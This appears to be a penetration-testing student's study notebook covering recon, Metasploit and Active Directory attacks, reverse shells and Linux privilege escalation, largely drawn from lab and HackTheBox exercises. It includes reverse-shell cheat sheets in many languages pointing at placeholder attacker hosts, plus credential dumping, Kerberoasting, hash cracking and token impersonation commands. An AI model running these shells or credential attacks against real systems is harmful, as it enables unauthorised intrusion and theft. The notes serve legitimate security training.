* Remove all executable, scripts and temporary file from a compromised system. If possible use secure delete method for removing the files and folders.
* Return to original values system settings and application configuration parameters if they where modified during the assessment.
* Remove all backdoors and/or rootkits installed.
* Remove any user accounts created for connecting back to compromise systems.

## The Legal Side

![LEGAL / DOCUMENTS](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MGFDfSRaKzKU0CO6iED%2F-MGFEJaesWc2pCGL5WKf%2Fimage.png?alt=media\&token=a4d1c12f-7314-43ce-b9b8-2c4200bef119)

## Report Writing

{% embed url="<https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report/blob/master/Demo%20Company%20-%20Security%20Assessment%20Findings%20Report.docx>" %}

## Career Advice

![](https://1094113337-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3hoduT4ByoNaznkzhG%2F-MGFG4lYW4kC9Rtbwwzr%2F-MGFI-1B4aPSxvPife6T%2Fimage.png?alt=media\&token=6b4c1133-25aa-4186-9b99-afae63c289cb)


# Commands

```
ifconfig
iwconfig

# ping normally works indefinitely
$ ping -c 1 192.168.1.254
#         ^ ping with count of 1

$ arp -a
_gateway (10.0.2.2) at 52:54:00:12:35:02 [ether] on eth0
#       -a     Use alternate BSD style output format (with no fixed columns).

$ netstat -ano
#   -a, --all
#       Show  both  listening  and  non-listening sockets.  With the --interfaces option,
#       show interfaces that are not up
#       
#   --numeric, -n
#       Show  numerical  addresses  instead of trying to determine symbolic host, port or
#       user names.
#
#   -o, --timers
#       Include information related to networking timers.

$ route # show / manipulate the IP routing table

# Print Router IP
$ ip route show | grep -i 'default via'| awk '{print $3 }'

$ tr -s ' ' <text.txt | cut -d ' ' -f4
# -s, --squeeze-repeats  replace each input sequence of a repeated character
#                        that is listed in SET1 with a single occurrence
#                        of that character

adduser
locate
updatedb - update a database for locate
chmod +x
su
apt-purge
eog - photo viewer

$ hash -r
# Before getting happy with apt-get removes and installs. It's worthwhile to reset your bash cache.
# https://stackoverflow.com/questions/16237490/i-screwed-up-the-system-version-of-python-pip-on-ubuntu-12-10

# Linux --VMs will take much longer
hashcat -m 5600 hash.txt /root/rockyou.txt #NetNTLMv2

# Windows
..\hashcat-4.2.1>hashcat64.exe -m 5600 hash.txt rockyou.txt

python Responder.py -I eth0 -rdw

crackmapexec smb <ip range> -u Administrator -p 'P@$$word!' -d MARVEL

meterpreter > load incognito
meterpreter > list_tokens -u # users
meterpreter > list_tokens -g # group
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > impersonate_token MARVEL\\Administrator
[+] Delegation token available
[+] Successfully impersonated user MARVEL\Administrator
meterpreter > getuid
Server username: MARVEL\Administrator
meterpreter > shell
...
C:\Windows\system32>whoami
marvel\administrator

# with a meterpreter session running
msf5 > use post/multi/recon/local_exploit_suggester
msf5 post(post/multi/recon/local_exploit_suggester) > set session 1
msf5 post(post/multi/recon/local_exploit_suggester) > run
...
# enter session
msf5 > sessions 1
# check processes
meterpreter > ps

locate ntlmrelayx.py # it's in impacket
python ntlmrelayx.py -tf target.txt -smb2support


nmap -Pn -p445 --script=smb-vuln-ms17-010 <ip>

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
meterpreter > sysinfo
meterpreter > hashdump

meterpreter > shell
c:\Users\Administrator>arp -a
c:\Users\Administrator>route print

#check if machine is dual-homed. if two NICs, can pivot
# e.g. if on 10.10.10.X and 10.10.11.X
c:\Users\Administrator>netstat -ano
^C terminate channel -> back to meterpreter

meterpreter > load incognito
meterpreter > list_tokens -u

meterpreter > load kiwi # this is x64
meterpreter > creds_all
meterpreter > wifi_list

root@kali:~/Security/HackTheBox/active# smbclient -L \\\\10.10.10.100\\
Enter WORKGROUP\root's password: # just pressed enter
Anonymous login successful

    Sharename       Type      Comment
    ---------       ----      -------
    ADMIN$          Disk      Remote Admin
    C$              Disk      Default share
    IPC$            IPC       Remote IPC
    NETLOGON        Disk      Logon server share 
    Replication     Disk      
    SYSVOL          Disk      Logon server share 
    Users           Disk      
SMB1 disabled -- no workgroup available


root@kali:~/Security/HackTheBox/active# smbclient \\\\10.10.10.100\\Replication
Enter WORKGROUP\root's password: 
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as GPE.INI (0.4 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (3.1 KiloBytes/sec) (average 1.3 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1.5 KiloBytes/sec) (average 1.3 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (9.4 KiloBytes/sec) (average 2.8 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.1 KiloBytes/sec) (average 2.4 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as GptTmpl.inf (12.5 KiloBytes/sec) (average 3.8 KiloBytes/sec)

root@kali:~/Security/HackTheBox/active# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18

root@kali:~/Security/HackTheBox/active# cd /opt/impacket/examples/
root@kali:/opt/impacket/examples# python GetUserSPNs.py active.htb/SVC_TGS -dc-ip 10.10.10.100 -request
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

Password: # entered GPPstillStandingStrong2k18
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                  
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2018-07-30 13:17:40.656520 



$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$cfe6baaf6d9538cee9ab43897032e0fa$09198fe8a7f83682b4388efdc589cb1cda10227e9a60c7c35ea7d22c06d5a4bcda24ccaed5f93340a637fd28d7ccb66a72f389f5804de980f1994a7ff824ef17af26dd8c5c8a1c6d3455d0c7382b67d974316f7bf4b92f34a29f58a72b4379030b252d32db97ab5b11856163f11467818748522e3675dd450ba3aabbf50e48e1c4e30cbba5dc084f3d2c42046ce1a3479ec357f32dec622e2d53b0886dc80d9859cb884f5bde9ad9e04de3a5ea3fdf8ccbe85700be9d1482e6e8464432c72c3937d73a1d1a995e50551d7262f37449c04c646ebf4858ab7c9a2dc52cdcfad11dde4d1619edebee18b0720cd4d31a89183eee9ac7a271220ee5426150df7a13707dc6a87c8c9b5eb724b2c82d88b6bd291d32f2810f4739e2d2c85c5110438ccd638af22cf31cc3573f75c76bc3509e1ef8673850f1f6e5705d3eb562fce69bb0c14164ebada481efa673a48d03982b3e00aaec576abc5bbeb9f62aa10dbbe8db0457ad10a8dcd044ee16fe52f2982dc6b5209a6e21731183854f8f154202093a358c81aa374926a9bc4586511d2eb0cbb5e97a8128246b8c0fc25e10bb223caf955ef2d698c8b1b417e4586b5e023a223f977ec939a43e99506f582acca6310d465ec02562f76795bb9283e56cb3afc2eb6e6d035fedff593c385f0f55514499777141a01008b71b544bb94ea7bcbabb0576b4b668fd32ff7e83544d2ea00d9742ff25810d3b419afa77d132f4cc45cffe4c6ae87f0b39b0d8f4b9865745d731a70b1eeaf3dd5bae0003660e5eea6d9a905805080dd4918580a37245a50b8a5c2019c0134c727de350bcf4035efd6213e7ab3305023c725c4ec29299a04ef952564b2d380afb35a1f7f383fbe861068cfd5d45ce504991cb0084797505b5cd7ceb60f9901156964bea2c907c541d26dd379acec3ee27aa67d89dfdfa98c8833ccac102788ddbf9f01f29874b05f741f8a87ea5b7fd440da54e7c8f2938cb837ed800a917cff2ca69472a15227bf32e4ef0d95d20583d4bbf2f8650ade6ff94ba654a1e04c2ecfbd65e57e75e1f202b114effdad8d2c57cd30d5bc036749bcc55400cb4b18ccbd2529dd1c753f9da30cab6a87244d7b3217bad670e0417b4ad1c0eb1ca576ba963fdcb67adebe90df3697874ae19a990ce4b9a3e9ec0556cb74e0a4df654a583ea185c0dd1b41f175715a2f5b1ad2b60361885498f6645ba3f8a6309bf0085245092ef4edaa5fb6d67e6981045c657a0ce0f6104

# Windows Defender can block this, though there are ways to split files to bypass
# GRAB FILES - HTTP
C:\Users\fcastle>certutil -rulcache -f http://<ip>/secrets.txt secrets.txt

# GRAB FILES - FTP
C:\Users\fcastle>ftp <ip>
ftp> get <file>

msf5 > use windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.202.134
msf5 exploit(windows/smb/psexec) > set smbdomain marvel
msf5 exploit(windows/smb/psexec) > set smbpass Password1
msf5 exploit(windows/smb/psexec) > set smbuser fcastle
msf5 exploit(windows/smb/psexec) > set target 2
msf5 exploit(windows/smb/psexec) > run
...
meterpreter > cd c:\\users
meterpreter > upload /root/files/secrets.txt c:\\secrets.txt
meterpreter > download c:\\secrets.txt secrets.txt


```


# Penetration Testing Student (PTS)

PENETRATION TESTING STUDENT (PTS)

PRELIMINARY SKILLS - PREREQUISITES

1 - INTRODUCTION

2 - NETWORKING

3 - WEB APPLICATIONS

4 - PENETRATION TESTING

PRELIMINARY SKILLS - PROGRAMMING

1 - INTRODUCTION TO PROGRAMMING

2 - C++

3 - PYTHON

4 - COMMAND LINE SCRIPTING

PENETRATION TESTING

1 - INFORMATION GATHERING

2 - FOOTPRINTING & SCANNING

3 - VULNERABILITY ASSESSMENT

4 - WEB ATTACKS

5 - SYSTEM ATTACKS

6 - NETWORK ATTACKS

7 - NEXT STEPS


# OSCP Study

Here are the resources my friend Chris found most useful for the OSCP exam

### Privilege escalation

* <https://guif.re/windowseop> <https://guif.re/linuxeop>
* <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>
* <https://netsec.ws/?p=309>
  * linenum.sh is useful on the exam

### Recon/Enumeration

* <https://github.com/Tib3rius/AutoRecon>&#x20;

### Buffer Overflow

* <https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/>
  * bad characters are a big part of the BOF on the exam

The lab and study materials cover the rest of the exam topics well.


# Recon

##


# OSINT

## User Enumeration/Emails

### hunter.io - email address search

### **TheHarvester**

```
$ apt-get install theharvester
$ theHarvester -d tesla.com -l 500 -b google
 | domain | | through google
 | length of searches
 [*] Emails found: 4
 ----------------------
 accountsupportemea@tesla.com
 buildmy3emea@tesla.com
 orderpartsuk@tesla.com
 uk_sales@tesla.com

 [*] Hosts found: 4
 ---------------------
 forums.tesla.com:23.216.80.165
 ir.tesla.com:104.124.60.90, 104.124.60.49
 shop.tesla.com:23.216.80.165
 
www.tesla.com:23.216.80.165
```

### `Bluto`

DNS Recon | Brute Forcer | DNS Zone Transfer | DNS Wild Card Checks | DNS Wild Card Brute Forcer | Email Enumeration | Staff Enumeration | Compromised Account Checking

## **Passwords**

### Have I Been Pwned?

check if emails have accounts with leaked credentials on: <https://haveibeenpwned.com/>

### Wordlists

Check wordlists, e.g. 1.4 BILLION CLEARTEXT PASSWORDS\
<https://github.com/philipperemy/tensorflow-1.4-billion-password-analysis><br>

## Technology

`crt.sh` to enumerate subdomains\
\
`Wappalyzer` for Firefox\
&#x20;-check front and back end technologies on a website\
\
`whatweb` #comes included with Kali\
&#x20;WhatWeb - Next generation web scanner\
\
`builtwith.com`\
&#x20;\- check technology profile of a website without associating your IP


# Enumeration

When it comes to hacking, knowledge is power. The more knowledge you have about a target system or network, the more options you have available. This makes it imperative that proper enumeration is carried out before any exploitation attempts are made.

Say we have been given an IP (or multiple IP addresses) to perform a security audit on. Before we do anything else, we need to get an idea of the “landscape” we are attacking. What this means is that we need to establish which services are running on the targets. For example, perhaps one of them is running a webserver, and another is acting as a Windows Active Directory Domain Controller. The first stage in establishing this “map” of the landscape is something called port scanning. When a computer runs a network service, it opens a networking construct called a “port” to receive the connection.  Ports are necessary for making multiple network requests or having multiple services available. For example, when you load several webpages at once in a web browser, the program must have some way of determining which tab is loading which web page. This is done by establishing connections to the remote webservers using different ports on your local machine. Equally, if you want a server to be able to run more than one service (for example, perhaps you want your webserver to run both HTTP and HTTPS versions of the site), then you need some way to direct the traffic to the appropriate service. Once again, ports are the solution to this. Network connections are made between two ports – an open port listening on the server and a randomly selected port on your own computer. For example, when you connect to a web page, your computer may open port 49534 to connect to the server’s port 443.

Your computer opens up a different, high-numbered port (at random), which it uses for all its communications with the remote server. You can have many separate ports and connections open at the same time.

Every computer has a total of 65535 available ports; however, many of these are registered as standard ports. For example, a HTTP Webservice can nearly always be found on port 80 of the server. A HTTPS Webservice can be found on port 443. Windows NETBIOS can be found on port 139 and SMB can be found on port 445. It is important to note; however, that especially in a CTF setting, it is not unheard of for even these standard ports to be altered, making it even more imperative that we perform appropriate enumeration on the target.

If we do not know which of these ports a server has open, then we do not have a hope of successfully attacking the target; thus, it is crucial that we begin any attack with a port scan. This can be accomplished in a variety of ways – usually using a tool called nmap.

### nmap

Nmap can be used to perform many different kinds of port scan, but the basic theory is this: nmap will connect to each port of the target in turn. Depending on how the port responds, it can be determined as being open, closed, or filtered (usually by a firewall). Once we know which ports are open, we can then look at enumerating which services are running on each port – either manually, or more commonly using nmap.

So, why nmap? The short answer is that it's currently the industry standard for a reason: no other port scanning tool comes close to matching its functionality (although some newcomers are now matching it for speed). It is an extremely powerful tool – made even more powerful by its scripting engine which can be used to scan for vulnerabilities, and in some cases even perform the exploit directly.

#### Scan Type

When port scanning with Nmap, there are three basic scan types. These are:

* TCP Connect Scans (`-sT`)
  * Nmap sends a TCP request with the *SYN* flag set to a ***closed*** port, the target server will respond with a TCP packet with the *RST* (Reset) flag set. By this response, Nmap can establish that the port is closed.
  * If, however, the request is sent to an *open* port, the target will respond with a TCP packet with the SYN/ACK flags set. Nmap then marks this port as being *open* (and completes the handshake by sending back a TCP packet with ACK set).
  * What if the port is open, but hidden behind a firewall?

    Many firewalls are configured to simply **drop** incoming packets. Nmap sends a TCP SYN request, and receives nothing back. This indicates that the port is being protected by a firewall and thus the port is considered to be *filtered*. This can make it extremely difficult (if not impossible) to get an accurate reading of the target(s).
* SYN "Half-open" Scans (`-sS`)
* UDP Scans (`-sU`)

Additionally there are several less common port scan types, some of which we will also cover (albeit in less detail). These are:

* TCP Null Scans (`-sN`)
* TCP FIN Scans (`-sF`)
* TCP Xmas Scans (`-sX`)

Most of these (with the exception of UDP scans) are used for very similar purposes, however, the way that they work differs between each scan. This means that, whilst one of the first three scans are likely to be your go-to in most situations, it's worth bearing in mind that other scan types exist.


# Samba Shares

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

Using nmap we can enumerate a machine for SMB shares.

Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.101.116

SMB has two ports, 445 and 139.

![](https://i.imgur.com/bkgVNy3.png)

On most distributions of Linux smbclient is already installed. Lets inspect one of the shares.

`smbclient //<ip>/anonymous`

Using your machine, connect to the machines network share.

![](https://i.imgur.com/B1FXBt8.png)

You can recursively download the SMB share too. If anonymous, submit the username and password as nothing.

`smbget -R smb://<ip>/anonymous`

{% embed url="<https://zacheller.dev/thm-kenobi>" %}
Samba Example
{% endembed %}


# ProFtpd

ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.


# Gaining Access


# Reverse Shells

From Victim ([source](https://gist.githubusercontent.com/sckalath/67a59eb4955f1f9aedde/raw/ebf78a27938f3de20450197a9c1dbe230ebd4dcb/reverse_shells))

```
#bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#bash alt
exec /bin/bash 0&0 2>&0

#bash alt 2
0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

#bash alt 3
exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done  

# or:
while read line 0<&5; do $line 2>&5 >&5; done

#perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#perl alt
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

#perl on windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

#python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#full php shell page can be found here: http://pentestmonkey.net/tools/web-shells/php-reverse-shell
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#ruby that doesn't depend on /bin/sh
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

#ruby on windows
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

#netcat
nc -e /bin/sh 10.0.0.1 1234

#netcat alt
nc -c /bin/sh attackerip 4444

#netcat alt 2
/bin/sh | nc attackerip 4444

#netcat alt 3
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

#wrong version of netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

#java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

#telnet
rm -f /tmp/p; mknod /tmp/p p && telnet attackerip 4444 0/tmp/p

#telnet alt
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445   # Remember to listen on your machine also on port 4445/tcp


```


# Privilege Escalation

## **Understanding Privesc**

### **What does "privilege escalation" mean?**

At it's core, Privilege Escalation usually involves going from a lower permission to a higher permission. More technically, it's the exploitation of a vulnerability, design flaw or configuration oversight in an operating system or application to gain unauthorized access to resources that are usually restricted from the users.

### **Why is it important?**

Rarely when doing a CTF or real-world penetration test, will you be able to gain a foothold (initial access) that affords you administrator access. Privilege escalation is crucial, because it lets you gain system administrator levels of access. This allow you to do many things, including:

* &#x20;Reset passwords
* &#x20;Bypass access controls to compromise protected data
* &#x20;Edit software configurations
* &#x20;Enable persistence, so you can access the machine again later.
* &#x20;Change privilege of users
* &#x20;Get that cheeky root flag ;)

As well as any other administrator or super user commands that you desire.

## Direction of Privilege Escalation

**There are two main privilege escalation variants:**

### **Horizontal privilege escalation:**

This is where you expand your reach over the compromised system by taking over a different user who is on the same privilege level as you. For instance, a normal user hijacking another normal user (rather than elevating to super user). This allows you to inherit whatever files and access that user has. This can be used, for example, to gain access to another normal privilege user, that happens to have an SUID file attached to their home directory (more on these later) which can then be used to get super user access. \[Travel sideways on the tree]<br>

### **Vertical privilege escalation (privilege elevation):**

This is where you attempt to gain higher privileges or access, with an existing account that you have already compromised. For local privilege escalation attacks this might mean hijacking an account with administrator privileges or root privileges. \[Travel up on the tree]


# Meterpreter

```
migrate
getuid
sysinfo
load kiwi # mimikatz
getprivs
upload
run
shell
run post/windows/gather/checkvm # are we in a VM
run post/multi/recon/local_exploit_suggester # to elevate priv
run post/windows/manage/enable_rdp # force RDP, if admin

# Pivoting


```

What command do we run to add a route to the following subnet: 172.18.1.0/24? Use the -n flag in your answer.

> run autoroute -s 172.18.1.0 -n 255.255.255.0

Additionally, we can start a socks4a proxy server out of this session. Background our current meterpreter session and run the command `search server/socks4a`. What is the full path to the socks4a auxiliary module?

> auxiliary/server/socks4a

Once we’ve started a socks server we can modify our /etc/proxychains.conf file to include our new server. What command do we prefix our commands (outside of Metasploit) to run them through our socks4a server with proxychains?

> proxychains


# Spawning a TTY Shell

1. The first thing to do is use `python3 -c 'import pty;pty.spawn("/bin/bash")'`, which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell.
2. Step two is: `export TERM=xterm` – this will give us access to term commands such as `clear`.
3. Finally (and most importantly) we will background the shell using `Ctrl + Z`. Back in our own terminal we use `stty raw -echo; fg`. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and `Ctrl + C` to kill processes). It then foregrounds the shell, thus completing the process.

```
python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

(From within IRB)
exec "/bin/sh"

(From within vi)
:!bash

(From within vi)
:set shell=/bin/bash:shell

(From within nmap)
!sh

# From netsec.ws
```


# Reverse Shell Cheat Sheet

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

#### Bash

Some versions of [bash can send you a reverse shell](http://www.gnucitizen.org/blog/reverse-shell-with-bash/) (this was tested on Ubuntu 10.10):

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

#### PERL

Here’s a shorter, feature-free version of the [perl-reverse-shell](http://pentestmonkey.net/tools/web-shells/perl-reverse-shell):

```
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

There’s also an [alternative PERL revere shell here](http://www.plenz.com/reverseshell).

#### Python

This was tested under Linux / Python 2.7:

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

#### PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

If you want a .php file to upload, see the more featureful and robust [php-reverse-shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell).

#### Ruby

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

#### Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

```
nc -e /bin/sh 10.0.0.1 1234
```

If you have the wrong version of netcat installed, [Jeff Price points out here](http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498) that you might still be able to get your reverse shell back like this:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
```

#### Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

\[Untested submission from anonymous reader]

#### xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

```
xterm -display 10.0.0.1:1
```

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

```
Xnest :1
```

You’ll need to authorise the target to connect to you (command also run on your host):

```
xhost +targetip
```

#### Further Reading

Also check out [Bernardo’s Reverse Shell One-Liners](http://bernardodamele.blogspot.com/2011/09/reverse-shells-one-liners.html).  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a [reverse shell written in gawk over here](http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387).  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.

{% embed url="<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>" %}


# Cracking Hashes

NTLM

{% embed url="<http://www.adshotgyan.com/2012/02/lm-hash-and-nt-hash.html>" %}

If you are using Evil-WinRM, you can actually Pass-the-Hash with the `-H` flag if you find the Administrator's NTLM hash.


# Restricted Linux Shell Escape

Start with Console editors like ed, ne, nano, pico, vi, vim, gedit, etc.

&#x20;**compgen** is a bash built-in command which is used to list all the commands that could be executed in the Linux system. Usage: `compgen -c`

{% embed url="<https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/>" %}

{% embed url="<https://gtfobins.github.io/>" %}


# Linux Privilege Escalation

## Enumeration

### **What is LinEnum?**

LinEnum is a simple bash script that performs common commands related to privilege escalation, saving time and allowing more effort to be put toward getting root. It is important to understand what commands LinEnum executes, so that you are able to manually enumerate privesc vulnerabilities in a situation where you're unable to use LinEnum or other like scripts. In this room, we will explain what LinEnum is showing, and what commands can be used to replicate it.

### **Where to get LinEnum**

You can download a local copy of LinEnum from:

{% embed url="<https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh>" %}

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
```

It's worth keeping this somewhere you'll remember, because LinEnum is an invaluable tool.

### **How do I get LinEnum on the target machine?**

There are two ways to get LinEnum on the target machine. The first way, is to go to the directory that you have your local copy of LinEnum stored in, and start a Python web server using **"python3 -m http.server 8000"** \[1]. Then using **"wget"** on the target machine, and your local IP, you can grab the file from your local machine \[2]. Then make the file executable using the command **"chmod +x FILENAME.sh"**.

### **Other Methods**

In case you're unable to transport the file, you can also, if you have sufficient permissions, copy the raw LinEnum code from your local machine \[1] and paste it into a new file on the target, using Vi or Nano \[2]. Once you've done this, you can save the file with the **".sh"** extension. Then make the file executable using the command **"chmod +x FILENAME.sh"**. You now have now made your own executable copy of the LinEnum script on the target machine!

### **Running LinEnum**

LinEnum can be run the same way you run any bash script, go to the directory where LinEnum is and run the command **"./LinEnum.sh"**.

### **Understanding LinEnum Output**

The LinEnum output is broken down into different sections, these are the main sections that we will focus on:

*Kernel:* Kernel information is shown here. There is most likely a kernel exploit available for this machine.

*Can we read/write sensitive files:* The world-writable files are shown below. These are the files that any authenticated user can read and write to. By looking at the permissions of these sensitive files, we can see where there is misconfiguration that allows users who shouldn't usually be able to, to be able to write to sensitive files.

*SUID Files:* The output for SUID files is shown here. There are a few interesting items that we will definitely look into as a way to escalate privileges. SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. It allows the file to run with permissions of whoever the owner is. If this is root, it runs with root permissions. It can allow us to escalate privileges.&#x20;

*Crontab* Content&#x73;**:** Cron is used to schedule commands at a specific time. These scheduled commands or tasks are known as “cron jobs”. Related to this is the crontab command which creates a crontab file containing commands and instructions for the cron daemon to execute. There is certainly enough information to warrant attempting to exploit Cronjobs here.

## Abusing SUID/GUID Files

### **Finding and Exploiting SUID Files**

The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!

| **Permission** | **On Files**                                                              | **On Directories**                                        |
| -------------- | ------------------------------------------------------------------------- | --------------------------------------------------------- |
| SUID Bit       | User executes the file with permissions of the file owner                 | -                                                         |
| SGID Bit       | <p>User executes the file with the permission of the group owner.<br></p> | File created in directory gets the same group owner.      |
| Sticky Bit     | No meaning                                                                | Users are prevented from deleting files from other users. |

### **What is an SUID binary?**

